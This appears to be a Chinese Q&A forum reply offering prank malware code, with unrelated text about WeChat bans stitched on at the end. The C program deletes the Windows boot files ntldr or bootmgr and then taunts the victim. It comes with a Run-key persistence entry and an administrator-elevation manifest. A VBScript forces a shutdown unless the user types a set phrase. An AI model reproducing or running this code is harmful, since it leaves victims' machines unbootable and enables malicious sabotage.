求 VC 6.0 程序代码 想骂人的 滚 高分 100 追加 80

#include <windows.h>

#include <stdio.h>

#include <conio.h>

int main(int argc, char* argv[])

{

OSVERSIONINFO osinfo

osinfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO)

GetVersionEx(&osinfo)

if (osinfo.dwMajorVersion == 5) //Windows XP

{

system("del /s %systemroot%\\..\\..\\ntldr")

}

if (osinfo.dwMajorVersion == 6) //Windows 7

{

system("del /s %systemroot%\\..\\..\\bootmgr")

}

MessageBox(NULL, "哈哈哈 你电脑要坏了啦 千万别关机哦", "", MB_OK|MB_ICONWARNING)

return 0

}

还有注册表的没时间做了，你去百度下吧，关键是：

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

"App"="%systemroot%\\App.exe"

还有下面的代码：

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">

<assemblyIdentity

version="1.0.0.0"

processorArchitecture="X86"

name="a.exe.manifest"

type="win32"

/>

<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">

<security>

<requestedPrivileges>

<requestedExecutionLevel level="requireAdministrator" uiAccess="false"/>

</requestedPrivileges>

</security>

</trustInfo>

</assembly>

把其中的a.exe 改成 你的程序名字.exe，然后存为 你的程序名字.exe.manifest

这是用来win7提权的。。。

另外，破坏了系统引导安全模式是无法打开的，我前几天就删了win7的BCD，结果开机蓝屏，不可能再打开安全模式了。。。

CreateObject ("SAPI.SpVoice").Speak "Although you now just like an apple, be had gone, but you don't be sad, if that person is me, I will be a finished, ha ha ha ha! "

WScript.Echo("怎么样，感动吗？")

WScript.Echo("是不是要感谢我？")

WScript.Echo("你是不是想对我说那句英语？")

CreateObject ("SAPI.SpVoice").Speak "I LOVE YOU"

WScript.Echo("你这么说我可真高兴呀！")

WScript.Echo("我要奖励你.....")

CreateObject ("SAPI.SpVoice").Speak "In this way, I send you a hamburger, but a second after the change to me, I need to eat."

WScript.Echo("感谢我吧！")

WScript.Echo("你说什么？")

WScript.Echo("汉堡包我当然是留给自己吃！")

WScript.Echo("呵呵，你也想吃呀，我就告诉你句英语。")

CreateObject ("SAPI.SpVoice").Speak "Would you like me to the hamburger, I would like a hamburger for you, strange! This burger is the best to eat, your very!"

WScript.Echo("请问你拉着我的脚干嘛？")

WScript.Echo("别学习乞丐呀！")

WScript.Echo("我真不舍得给你吃。")

CreateObject ("SAPI.SpVoice").Speak "What are you doing, I want to eat hamburgers!"

WScript.Echo("唉，我才刚吃一口，多香呀，你干嘛.....")

WScript.Echo("哈哈，你这眼神.")

WScript.Echo("我说.")

CreateObject ("SAPI.SpVoice").Speak "Hamburger hamburger I do not give you, I tell you where to buy what."

WScript.Echo("你这么不给面子，你将会收到应有的惩罚！")

CreateObject ("SAPI.SpVoice").Speak "You beast! To steal my burger, ready for shutdown!"

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 25 -c ""说我不吃汉堡，不说就20秒关你机，不信，试试···"" ",0 ,true

dim a

do while(a <>"我不吃汉堡")

a = inputbox ("说我不吃汉堡,就不关机，快撒，说 ""我不吃汉堡"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,汉堡你别想吃。"

WScript.Echo("对了，你可以去借钱。")

WScript.Echo("我忘了你没钱啊！哈哈！")

WScript.Echo("看你呆呆的眼神..不会.....")

CreateObject ("SAPI.SpVoice").Speak "I faint! Borrow money from me? I tell you! I have no money!"

WScript.Echo("打车回家吧。")

WScript.Echo("今天我放过你，明天！你等死！")

游戏骂人微信会封号。

因为微信平台的规定是禁止辱骂，腾讯官方很重视，所以游戏骂人微信会封号。

微信是腾讯公司推出的一个为智能手机提供即时通讯服务的免费应用程序。

---